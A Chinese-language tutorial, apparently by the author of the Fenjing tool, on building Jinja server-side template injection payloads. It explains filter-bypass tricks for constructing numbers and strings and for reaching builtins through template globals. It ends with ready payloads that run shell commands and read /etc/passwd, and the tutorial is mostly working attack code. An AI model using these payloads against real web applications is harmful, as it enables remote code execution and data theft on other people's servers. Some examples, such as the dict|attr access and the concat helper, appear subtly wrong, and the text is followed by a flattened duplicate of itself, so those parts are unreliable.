Fenjing 作者的 Jinja SSTI 完全进阶教程
字数 1140 2025-08-29 08:29:36

Jinja SSTI 完全进阶教程

目录

  1. 整体 payload 构造思路
  2. 常用技巧
    • 任意自然数构造
    • 字符串处理技巧
    • 特殊字符生成
  3. 任意字符串构造
    • 简单手法
    • 复杂手法
  4. 属性与字典访问
  5. 全局函数利用
  6. 最终 payload 构造

1. 整体 payload 构造思路

传统 Jinja SSTI 利用方式存在以下问题:

  • 依赖 __subclasses__ 方法,需要从长列表中寻找特定类
  • 构造过程冗长复杂,如 [].__class__.__mro__[1].__subclasses__()[513].__init__.__globals__['__builtins__']['eval'](...)

更优的构造思路:

  1. 优先使用全局变量(如 lipsum)直接获取关键函数
  2. 构造流程:
    • 先构造特殊字符("_", "%c"等)
    • 构造任意数字/字符串
    • 获取全局变量属性
    • 调用 eval 等函数实现 RCE

2. 常用技巧

2.1 任意自然数构造

十六进制/二进制/八进制

0x61  # 97
0b1000001  # 65
0o173  # 123

length 和 count filter

()|length  # 0
()|int|e|length  # 1
(()|int~()|int)|length  # 2
dict(iiiiiiiiii=i)|first|count  # 10

int filter

"123"|int  # 123

sum filter

(1,1,1,1,1)|sum  # 5

加减乘除

1+1+1+1+1  # 5
True+True+True  # 3

Unicode 数字字符

int('႖႖႖႖႖႖')  # 666

2.2 字符串处理技巧

获取字符串/列表的第i个字符/元素

"abcdef"|batch(2)|first|last  # 获取第2个字符'b'

字符串拼接

"a"~"b"  # "ab"

字符串重复

"a"*5  # "aaaaa"

特殊字符生成

"%c"%(97)  # "a"
"%s%%s"  # "%s%s"

2.3 常用 filter

  • capitalize, lower, upper
  • escape/e, forceescape
  • pprint, safe, string
  • trim, unique
  • urlencode

3. 任意字符串构造

3.1 简单手法

使用 %c

"%c"%(97)~"%c"%(98)  # "ab"

使用 __add__

"a".__add__("b")  # "ab"

使用 join

["a","b"]|join  # "ab"

使用 replace

"axb"|replace("x","")  # "ab"

3.2 复杂手法

使用 lipsum.__globals__.concat

lipsum.__globals__.concat("a","b")  # "ab"

使用 dict 构造

dict(a="a",b="b")|join  # "ab"

4. 属性与字典访问

获取属性

lipsum.__globals__
config.__class__

字典访问

dict(a=1)|attr("a")  # 1
dict(a=1)["a"]  # 1

使用 map filter

["a","b"]|map("upper")|list  # ["A","B"]

5. 全局函数利用

使用 lipsum 获取关键函数

lipsum.__globals__.__builtins__.eval('114+514')
lipsum.__globals__.__builtins__.__import__('os').popen('ls /').read()
lipsum.__globals__.os.popen('id').read()

替代全局变量

lipsum 被禁用时,可以使用:

  • cycler
  • g
  • self
  • request
  • config

6. 最终 payload 构造

6.1 直接 RCE

lipsum.__globals__.__builtins__.eval('__import__("os").system("id")')

6.2 通过 os 模块

lipsum.__globals__.os.popen('id').read()

6.3 文件读取

lipsum.__globals__.open('/etc/passwd').read()

6.4 替代方案

当关键函数被过滤时:

config.__class__.__init__.__globals__.__builtins__.eval('__import__("os").system("id")')

总结

  1. 优先使用全局变量而非 __subclasses__ 方法
  2. 构造流程遵循:特殊字符 → 数字/字符串 → 属性访问 → 函数调用
  3. 灵活运用各种 filter 和字符串操作技巧绕过限制
  4. 掌握多种数字和字符串构造方法以应对不同过滤场景

通过系统性地掌握这些技巧,可以高效地构造出简洁有效的 Jinja SSTI payload。

Jinja SSTI 完全进阶教程 目录 整体 payload 构造思路 常用技巧 任意自然数构造 字符串处理技巧 特殊字符生成 任意字符串构造 简单手法 复杂手法 属性与字典访问 全局函数利用 最终 payload 构造 1. 整体 payload 构造思路 传统 Jinja SSTI 利用方式存在以下问题: 依赖 __subclasses__ 方法,需要从长列表中寻找特定类 构造过程冗长复杂,如 [].__class__.__mro__[1].__subclasses__()[513].__init__.__globals__['__builtins__']['eval'](...) 更优的构造思路: 优先使用全局变量(如 lipsum )直接获取关键函数 构造流程: 先构造特殊字符("_ ", "%c"等) 构造任意数字/字符串 获取全局变量属性 调用 eval 等函数实现 RCE 2. 常用技巧 2.1 任意自然数构造 十六进制/二进制/八进制 length 和 count filter int filter sum filter 加减乘除 Unicode 数字字符 2.2 字符串处理技巧 获取字符串/列表的第i个字符/元素 字符串拼接 字符串重复 特殊字符生成 2.3 常用 filter capitalize , lower , upper escape / e , forceescape pprint , safe , string trim , unique urlencode 3. 任意字符串构造 3.1 简单手法 使用 %c 使用 __add__ 使用 join 使用 replace 3.2 复杂手法 使用 lipsum.__globals__.concat 使用 dict 构造 4. 属性与字典访问 获取属性 字典访问 使用 map filter 5. 全局函数利用 使用 lipsum 获取关键函数 替代全局变量 当 lipsum 被禁用时,可以使用: cycler g self request config 6. 最终 payload 构造 6.1 直接 RCE 6.2 通过 os 模块 6.3 文件读取 6.4 替代方案 当关键函数被过滤时: 总结 优先使用全局变量而非 __subclasses__ 方法 构造流程遵循:特殊字符 → 数字/字符串 → 属性访问 → 函数调用 灵活运用各种 filter 和字符串操作技巧绕过限制 掌握多种数字和字符串构造方法以应对不同过滤场景 通过系统性地掌握这些技巧,可以高效地构造出简洁有效的 Jinja SSTI payload。